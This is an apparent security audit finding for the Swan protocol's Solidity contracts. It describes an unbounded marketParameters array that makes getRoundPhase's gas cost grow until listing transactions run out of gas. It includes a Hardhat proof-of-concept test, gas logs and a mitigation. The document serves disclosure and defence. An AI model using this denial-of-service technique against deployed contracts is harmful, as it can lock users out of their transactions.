Summary
In SwanManager.sol
, the setMarketParameters
function has onlyOwner
access control, allowing the contract owner to add new market parameters to the marketParameters
array. While this function serves its purpose well, over time, the accumulation of market parameters increases gas consumption, particularly when buyerAgent.sol
calls getRoundPhase
. This function retrieves all market parameters to calculate the current round
, phase
, and roundTime
.
Initially, retrieving only the first market parameter is efficient. However, as the marketParameters
array grows, calculating these values requires accessing each entry, significantly increasing gas costs. Over time, this escalating gas usage could lead to a Denial of Service (DoS) scenario.
SwanManager.sol::setMarketParameters
Function:
function setMarketParameters(SwanMarketParameters memory _marketParameters) external onlyOwner {
require(_marketParameters.platformFee <= 100, "Platform fee cannot exceed 100%");
_marketParameters.timestamp = block.timestamp;
@> marketParameters.push(_marketParameters);
}
buyerAgent.sol::getRoundPhase
Function:
function getRoundPhase() public view returns (uint256, Phase, uint256) {
@> SwanMarketParameters[] memory marketParams = swan.getMarketParameters();
if (marketParams.length == marketParameterIdx + 1) {
return _computePhase(marketParams[marketParameterIdx], block.timestamp - createdAt);
} else {
uint256 idx = marketParameterIdx;
(uint256 round,,) = _computePhase(marketParams[idx], marketParams[idx + 1].timestamp - createdAt);
idx++;
@> while (idx < marketParams.length - 1) {
(uint256 innerRound,,) =
_computePhase(marketParams[idx], marketParams[idx + 1].timestamp - marketParams[idx].timestamp);
round += innerRound + 1;
idx++;
}
(uint256 lastRound, Phase phase, uint256 timeRemaining) =
_computePhase(marketParams[idx], block.timestamp - marketParams[idx].timestamp);
round += lastRound + 1;
return (round, phase, timeRemaining);
}
}
Vulnerability Details
As the protocol runs, the marketParameters
array continuously expands. Since rounds and phases rely on historical intervals, the getRoundPhase
function must repeatedly reference every parameter in the array. Each added parameter increases the execution cost, measured in gas, leading to escalating gas usage over time. Eventually, users may exhaust their gas limits, making transactions unfeasible, thus creating a DoS vulnerability.
Below is a proof-of-code to demonstrate this vulnerability:
Proof of Code
Add the following test code to the Swan.test.ts
file within the Swan
test suite:
describe("Swan Attack Mode", async () => {
const currRound = 0n;
it("should list 5 assets for the first round", async function () {
await listAssets(
swan,
buyerAgent,
[
[seller, PRICE1],
[seller, PRICE2],
[seller, PRICE3],
[sellerToRelist, PRICE2],
[sellerToRelist, PRICE1],
],
NAME,
SYMBOL,
DESC,
0n
);
[assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
await buyerAgent.getAddress(),
currRound
);
expect(await token.balanceOf(seller)).to.be.equal(FEE_AMOUNT1 + FEE_AMOUNT2);
expect(await token.balanceOf(sellerToRelist)).to.be.equal(0);
});
it("should NOT allow to list an asset more than max asset count", async function () {
await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress()))
.to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
.withArgs(MARKET_PARAMETERS.maxAssetCount);
});
it("new market parameter consumes more Gas than prior ones!", async () => {
let NEW_MARKET_PARAMETERS = {
withdrawInterval: minutes(10),
sellInterval: minutes(20),
buyInterval: minutes(30),
platformFee: 2n,
maxAssetCount: 2n,
timestamp: (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint,
};
await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
const tx = await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress());
const receipt = await tx.wait();
console.log("GAS Used: ", receipt.gasUsed);
for(let i = 0; i < 1000; i++) {
await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
}
const tx2 = await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress());
const receipt2 = await tx2.wait();
console.log("GAS2 Used: ", receipt2.gasUsed);
for(let i = 0; i < 1000; i++) {
await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
}
await expect(swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress())).to.be.rejectedWith("contract call run out of gas and made the transaction revert");
});
});
-
Comment out all test cases after Sell phase #1: listing
inclusively.
-
Execute the following command in the terminal:
-
Review the logs for gas usage results.
GAS Used: 1422906n
GAS2 Used: 16998207n
Swan
✔ should deploy swan (479ms)
✔ should create buyers (72ms)
✔ should fund buyers & sellers
✔ should register oracles
Swan Attack Mode
✔ should list 5 assets for the first round
✔ should NOT allow to list an asset more than max asset count
✔ new market parameter consumes more Gas than prior ones! (9316ms)
✔ Owner can make a DoS if he doesn't like the earned fee!
As shown, initial gas consumption is around 1,422,906 gas, but after adding 1000 parameters, gas usage jumps to 16,998,207 gas. Adding further parameters leads to an eventual out-of-gas error, proving the DoS vulnerability.
Impact
Main Logic Affected: As users interact with the protocol over time, they risk facing prohibitive gas costs, limiting their ability to complete transactions.
DoS Risk: The protocol may become unusable for asset creators trying to list or relist due to excessive gas usage.
Recommendations
To mitigate this issue, consider using mappings with an identifier (e.g., 1, 2, 3...) and store accumulated elapsed times for each stage. This approach can reduce gas consumption by removing older, irrelevant parameters and focusing on essential, recent values.